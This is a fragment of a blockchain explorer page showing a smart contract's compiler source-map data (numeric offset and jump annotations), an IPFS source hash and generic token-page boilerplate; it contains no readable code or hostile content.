23;13411:4:::1;::::0;;13401:7;;13411:4;::::1;::::0;13401;;13411;13401:7;::::1;;;;;:::i;:::-;-1:-1:-1::0;;;;;13401:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;13486:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;13486:188:0;;13452:21:::1;::::0;13486:6;;;::::1;::::0;:57:::1;::::0;:188:::1;::::0;13558:12;;13428:21:::1;::::0;13601:4;;13628::::1;::::0;13648:15:::1;::::0;13486:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13687:17;13707:40;13733:13;13707:21;:25;;:40;;;;:::i;:::-;13687:60:::0;-1:-1:-1;13760:19:0::1;13782:40;13795:26;:19:::0;13819:1:::1;13795:23;:26::i;:::-;13782:8;::::0;;:12:::1;:40::i;:::-;13760:62:::0;-1:-1:-1;13843:26:0::1;13872:58;13928:1;13872:51;13760:62:::0;13872:51;:9;13886:19;13872:13:::1;:34::i;:58::-;13843:87;;13941:26;13970:44;14002:11;13970:27;13984:12;;13970:9;:13;;:27;;;;:::i;:44::-;13941:73;;14025:20;14048:38;14074:11;14048:21;14062:6;;14048:9;:13;;:21;;;;:::i;:38::-;14025:61;;14097:25;14125:43;14156:11;14125:26;14139:11;;14125:9;:13;;:26;;;;:::i;:43::-;14210:20;::::0;14202:77:::1;::::0;14097:71;;-1:-1:-1;14182:15:0::1;::::0;-1:-1:-1;;;;;14210:20:0;;::::1;::::0;14269:5:::1;::::0;14244:18;;14182:15;14202:77;14182:15;14202:77;14244:18;14210:20;14269:5;14202:77:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;14314:19:0::1;::::0;14306:75:::1;::::0;14181:98;;-1:-1:-1;;;;;;14314:19:0::1;::::0;14371:5:::1;::::0;14347:17;;14306:75:::1;::::0;;;14347:17;14314:19;14371:5;14306:75:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;14416:14:0::1;::::0;14408:65:::1;::::0;14290:91;;-1:-1:-1;;;;;;14416:14:0::1;::::0;14463:5:::1;::::0;14444:12;;14408:65:::1;::::0;;;14444:12;14416:14;14463:5;14408:65:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;14507:5:0::1;::::0;-1:-1:-1;;14528:19:0;;;-1:-1:-1;14525:362:0::1;;14563:6;::::0;14737:21:::1;::::0;14563:244:::1;::::0;-1:-1:-1;;;14563:244:0;;14639:4:::1;14563:244;::::0;::::1;8398:34:1::0;8448:18;;;8441:34;;;14563:6:0::1;8491:18:1::0;;;8484:34;;;8534:18;;;8527:34;-1:-1:-1;;;;;14737:21:0;;::::1;8577:19:1::0;;;8570:44;14777:15:0::1;8630:19:1::0;;;8623:35;14563:6:0;::::1;::::0;:22:::1;::::0;14593:18;;8332:19:1;;14563:244:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14827:48:0::1;::::0;;9154:25:1;;;9210:2;9195:18;;9188:34;;;14827:48:0::1;::::0;-1:-1:-1;9127:18:1;14827:48:0::1;;;;;;;14525:362;-1:-1:-1::0;;6998:6:0;:14;;-1:-1:-1;;6998:14:0;;;-1:-1:-1;;;;;;;;;;12981:1913:0:o;11643:910::-;11723:7;11753:18;11774:6;:29;;11800:3;11774:29;;;11783:14;;11774:29;11753:50;;11814:17;11834:62;11875:14;;11892:3;11875:20;;;;:::i;:::-;11834:36;11859:10;11834:20;11845:8;;11834:6;:10;;:20;;;;:::i;:62::-;11814:82;;11913:6;11912:7;:51;;;;;11951:12;11937:10;;11924;;:23;;;;:::i;:::-;11923:40;11912:51;11909:117;;;11991:23;12011:2;11991:15;:6;12002:3;11991:10;:15::i;:23::-;11979:35;;11909:117;12038:18;12059:36;12086:8;;12059:22;12073:7;;12059:9;:13;;:22;;;;:::i;:36::-;12038:57;-1:-1:-1;12106:22:0;12131:25;:9;12038:57;12131:13;:25::i;:::-;12214:4;12196:24;;;;:9;:24;;;;;;12106:50;;-1:-1:-1;12196:44:0;;12106:50;12196:28;:44::i;:::-;12187:4;12169:24;;;;:9;:24;;;;;;:71;;;;12290:15;;-1:-1:-1;;;;;12290:15:0;12280:26;;;;:42;;12311:10;12280:30;:42::i;:::-;12261:15;;-1:-1:-1;;;;;12261:15:0;;;12251:26;;;;:9;:26;;;;;;;;;:71;;;;12338:47;160:25:1;;;12363:4:0;;12338:47;;;;-1:-1:-1;;;;;;;;;;;12338:47:0;133:18:1;12338:47:0;;;;;;;12409:14;;12406:99;;12461:15;;12444:45;;160:25:1;;;-1:-1:-1;;;;;12461:15:0;;;;12444:45;;;-1:-1:-1;;;;;;;;;;;12444:45:0;148:2:1;133:18;12444:45:0;;;;;;;12406:99;12524:21;:6;12535:9;12524:10;:21::i;:::-;12517:28;11643:910;-1:-1:-1;;;;;;;;11643:910:0:o;837:179::-;895:7;;927:5;931:1;927;:5;:::i;:::-;915:17;;956:1;951;:6;;943:46;;;;-1:-1:-1;;;943:46:0;;9435:2:1;943:46:0;;;9417:21:1;9474:2;9454:18;;;9447:30;9513:29;9493:18;;;9486:57;9560:18;;943:46:0;9233:351:1;1756:189:0;1842:7;1877:12;1870:5;1862:28;;;;-1:-1:-1;;;1862:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1901:9:0;1913:5;1917:1;1913;:5;:::i;196:597:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;634:6;631:1;628:13;625:91;;;704:1;699:2;690:6;679:9;675:22;671:31;664:42;625:91;-1:-1:-1;777:2:1;756:15;-1:-1:-1;;752:29:1;737:45;;;;784:2;733:54;;196:597;-1:-1:-1;;;196:597:1:o;798:131::-;-1:-1:-1;;;;;873:31:1;;863:42;;853:70;;919:1;916;909:12;853:70;798:131;:::o;934:315::-;1002:6;1010;1063:2;1051:9;1042:7;1038:23;1034:32;1031:52;;;1079:1;1076;1069:12;1031:52;1118:9;1105:23;1137:31;1162:5;1137:31;:::i;:::-;1187:5;1239:2;1224:18;;;;1211:32;;-1:-1:-1;;;934:315:1:o;1446:248::-;1514:6;1522;1575:2;1563:9;1554:7;1550:23;1546:32;1543:52;;;1591:1;1588;1581:12;1543:52;-1:-1:-1;;1614:23:1;;;1684:2;1669:18;;;1656:32;;-1:-1:-1;1446:248:1:o;1699:180::-;1758:6;1811:2;1799:9;1790:7;1786:23;1782:32;1779:52;;;1827:1;1824;1817:12;1779:52;-1:-1:-1;1850:23:1;;1699:180;-1:-1:-1;1699:180:1:o;1884:456::-;1961:6;1969;1977;2030:2;2018:9;2009:7;2005:23;2001:32;1998:52;;;2046:1;2043;2036:12;1998:52;2085:9;2072:23;2104:31;2129:5;2104:31;:::i;:::-;2154:5;-1:-1:-1;2211:2:1;2196:18;;2183:32;2224:33;2183:32;2224:33;:::i;:::-;1884:456;;2276:7;;-1:-1:-1;;;2330:2:1;2315:18;;;;2302:32;;1884:456::o;2553:247::-;2612:6;2665:2;2653:9;2644:7;2640:23;2636:32;2633:52;;;2681:1;2678;2671:12;2633:52;2720:9;2707:23;2739:31;2764:5;2739:31;:::i;3481:388::-;3549:6;3557;3610:2;3598:9;3589:7;3585:23;3581:32;3578:52;;;3626:1;3623;3616:12;3578:52;3665:9;3652:23;3684:31;3709:5;3684:31;:::i;:::-;3734:5;-1:-1:-1;3791:2:1;3776:18;;3763:32;3804:33;3763:32;3804:33;:::i;:::-;3856:7;3846:17;;;3481:388;;;;;:::o;4100:329::-;4302:2;4284:21;;;4341:1;4321:18;;;4314:29;-1:-1:-1;;;4374:2:1;4359:18;;4352:36;4420:2;4405:18;;4100:329::o;4434:127::-;4495:10;4490:3;4486:20;4483:1;4476:31;4526:4;4523:1;4516:15;4550:4;4547:1;4540:15;4566:168;4606:7;4672:1;4668;4664:6;4660:14;4657:1;4654:21;4649:1;4642:9;4635:17;4631:45;4628:71;;;4679:18;;:::i;:::-;-1:-1:-1;4719:9:1;;4566:168::o;4739:217::-;4779:1;4805;4795:132;;4849:10;4844:3;4840:20;4837:1;4830:31;4884:4;4881:1;4874:15;4912:4;4909:1;4902:15;4795:132;-1:-1:-1;4941:9:1;;4739:217::o;5177:128::-;5217:3;5248:1;5244:6;5241:1;5238:13;5235:39;;;5254:18;;:::i;:::-;-1:-1:-1;5290:9:1;;5177:128::o;5310:125::-;5350:4;5378:1;5375;5372:8;5369:34;;;5383:18;;:::i;:::-;-1:-1:-1;5420:9:1;;5310:125::o;6730:127::-;6791:10;6786:3;6782:20;6779:1;6772:31;6822:4;6819:1;6812:15;6846:4;6843:1;6836:15;6862:980;7124:4;7172:3;7161:9;7157:19;7203:6;7192:9;7185:25;7229:2;7267:6;7262:2;7251:9;7247:18;7240:34;7310:3;7305:2;7294:9;7290:18;7283:31;7334:6;7369;7363:13;7400:6;7392;7385:22;7438:3;7427:9;7423:19;7416:26;;7477:2;7469:6;7465:15;7451:29;;7498:1;7508:195;7522:6;7519:1;7516:13;7508:195;;;7587:13;;-1:-1:-1;;;;;7583:39:1;7571:52;;7678:15;;;;7643:12;;;;7619:1;7537:9;7508:195;;;-1:-1:-1;;;;;;;7759:32:1;;;;7754:2;7739:18;;7732:60;-1:-1:-1;;;7823:3:1;7808:19;7801:35;7720:3;6862:980;-1:-1:-1;;;6862:980:1:o;8669:306::-;8757:6;8765;8773;8826:2;8814:9;8805:7;8801:23;8797:32;8794:52;;;8842:1;8839;8832:12;8794:52;8871:9;8865:16;8855:26;;8921:2;8910:9;8906:18;8900:25;8890:35;;8965:2;8954:9;8950:18;8944:25;8934:35;;8669:306;;;;;:::o

Swarm Source

ipfs://6d022a21bb966c71d84e326a6100b15874012efab9739e661664b52bf13e81ac
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.